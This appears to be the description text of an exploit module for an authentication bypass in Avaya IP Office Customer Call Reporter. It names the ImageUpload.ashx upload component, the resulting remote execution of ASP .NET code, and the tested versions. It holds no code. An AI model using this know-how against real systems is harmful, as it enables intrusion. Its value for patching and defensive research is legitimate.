  					This module exploits an authentication bypass vulnerability on Avaya IP Office
  				Customer Call Reporter, which allows a remote user to upload arbitrary files
  				through the ImageUpload.ashx component. It can be abused to upload and execute
  				arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
  				Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
